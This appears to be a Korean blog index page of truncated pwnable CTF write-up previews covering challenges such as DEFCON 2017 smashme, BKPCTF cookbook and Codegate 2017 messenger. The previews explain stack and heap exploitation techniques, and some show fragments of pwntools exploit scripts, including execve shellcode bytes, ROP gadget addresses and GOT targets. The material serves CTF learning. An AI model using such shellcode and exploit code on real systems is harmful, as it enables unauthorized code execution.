Pwnable/CTF
-
Secuinside 2017 ohcePwnable/CTF 2017. 7. 3. 00:28
syscall을 이용한 포너블문제들은 제대로 풀어본적이없어서 엄청나게 어려웟다 ㅠㅠㅠㅠ WRITE함수를 syscall을 이용하여 출력을 시킨다. read함수도 마찬가지 시작 메뉴는 이렇다.1을 입력하면내가 누른 입력값 그대로 나오고, 2를 입력하면 거꾸로나온다. 이 문제에서 신기한점은 특정한 개수의 값을 입력하면 주소가 릭이된다. (96개를 입력했다 96말고 다른 개수로 넣어도 릭되는 숫자들이있음) 특정한 글자수를 맞춰서 Reverse를 잘 입력하면 맨 앞에 넣은 글자로 ebp가 변한다. (즉, eip도 변한다는 뜻)그건 알겠는데 처음 echo를 했을때 "sfp-0x30"을 넣는 부분으로 eip가 바뀌는게 왜 저렇게되는건지 gdb로 디버깅을 해도 잘 모르겠다.. 그냥 대충 문제상에서 저런거구나 생각하고 ..
-
Codegate 2016 floppyPwnable/CTF 2017. 6. 10. 01:53
함수 에필로그 부분이 leave ret이 아니다. 이 문제의 중요한 부분이 에필로그부분이라고 할수있다. 다른거 없고 이 에필로그로 인해 바뀌는 esp ebp ecx edx 레지스터들을 gdb로 보면서 계산하고 core gdb로 분석하면서 계산하면서 풀수있다. 그리고 오버플로우 부분이있는데 ebp 전에 ecx edx 등 레지스터들이 끼어드는 바람에 ret까지 오버플로우를 할수가없다. 그래서 esp를 조작하여서 풀수있다. 최대한 빨리풀고 다른 문제를 풀자는 마음으로 시작하여서 함수도 안 쓰고 코드를 더럽게 짯다.다음에 시간 있을때 깔끔하게 만들어야겠다 ㅎㅎ 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647..
-
DEFCON 2017 smashmePwnable/CTF 2017. 5. 2. 23:16
123456789101112131415161718192021222324252627282930p=remote("192.168.146.133",9001)elf=ELF("./smashme") read_plt=elf.symbols["read"]bss=elf.bss()+0x20 shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" shell_rsi=0x004015f7shell_rdi=0x004014d6shell_rdx=0x00441e46 filt="Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..
-
BKPCTF cookbookPwnable/CTF 2017. 3. 31. 07:59
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101from pwn import *p=remote("localhost",9001) def Quit(): p.recvuntil('[q]uit\n') free_got=0x804D018printf_got=0x804d010__libc_start_main_got=0x804D03Cprint p.recvuntil('name?\n')p.sendline("/bin/sh\00") d..
-
PlaidCTF 2014 kappaPwnable/CTF 2017. 3. 14. 18:38
바이너리를 실행시키면 이런식으로 포켓몬 관련 메뉴가 나온다. 일단 이 문제에서는 분석하는게 제일 힘들었다 .. 구조체로 나오는 문제를 별로보질못해서 .. 더 힘든문제였다. 이 부분은 첫 번쨰 메뉴를 선택하고 함수호출 을 또한번 하는데 그쪽부분이다. 보면 TYPE가 두 개로있는데 한가지는 BUF 가 0x214 또 다른 한가지는 0x888부분이다. 그리고 아래 사진과 위 사진을 함께보면 구조체 형태를 알 수 있다. buf + 132 부분을 보면 함수를 호출하는 구조체 배열인데 저 부분을 system 함수로 바꿀 수 있는 시나리오같다. 저 HEX-RAY한 곳데로 + 544 ... , + 310 ... 으로 보면안되고, 저 부분을 그냥 어셈블리로 보면 0X880 등등 으로 보인다. 엄청 큰 수를 보니 딱 봐도 ..
-
PlaidCTF 2014 EZHPPwnable/CTF 2017. 3. 10. 17:29
문제 푸는방식은 unsafe_unlink 방법으로 풀 수 있고, 문제 메뉴 자체는 Codegate 2017 messenger 문제랑 똑같고 이런 메뉴를 선택하고 그런 문제에서는 수정하는 부분이 오버플로우 취약점이 있고, 출력하는 부분에서 메모리 릭 취약점이있다. ADD, REMOVE 는 커스텀 MALLOC, 커스텀 FREE 로 되어있고, 위의 사진이 오버플로우 취약점이 있는 수정하는 부분이다.보면 SIZE를 입력받는데 SIZE 제한을 두지않아 취약점이 생긴다. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566from pwn import..
-
codegate 2017 messengerPwnable/CTF 2017. 3. 8. 21:06
(풀이를 엄청 봣다 ..)멋있는 시작화면이 나온다. 이렇게 메뉴를 선택해서 나오는 문제를 보면 공통점이 딱 하나 있다. 그 공통점은 수정하는 부분에서 오버플로우가 일어난다는 점과 출력하는 부분에서 메모리 릭 취약점이 있다는 것 이다. 아이다를 보면 LEAVE REMOVE 등 다 이름을 착하게 정해주었다. 감동 ..보면 직접적으로 MALLOC() 이런게 없다 그러니 여기서는 커스텀 MALLOC를 사용한다는 것을 알수있다. 이 Leave를 분석해보면 별거없다. 딱 하나 특징이 있다면 FREE를 안해도 FD와 BK가 있다는 점 밖에없다. REMOVE(free) 를 하는부분을 보면 REMOVE도 커스텀 FREE 함수를 쓴다. 커스텀 FREE 부분을보면 Unlink를 하는것을 볼 수 있다. FD + 16 = BK..
-
WITHCON mallocPwnable/CTF 2017. 3. 3. 13:11
문제 메인은 이렇다. malloc 부분을보면 32를 할당하게된다. 이떄 32보다 크면 It's too big! 을 출력 시키고 malloc(32) 를 한다. 이 부분에 flag를 여는 곳이 있다. 이 뜻은 이쪽으로 리턴? 을 시켜서 풀라는 것 같다. 그래서 이 문제는 How2Heap 중 fastbin dup into stack을 이해한다면 풀 수 있다. 물론 .. 이해해도 어려웟다 .. (일단 익스 코드를 보여주고 거기에 따라서 힙 상황 적음) 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import *p=remote("192.168.1.104",9001..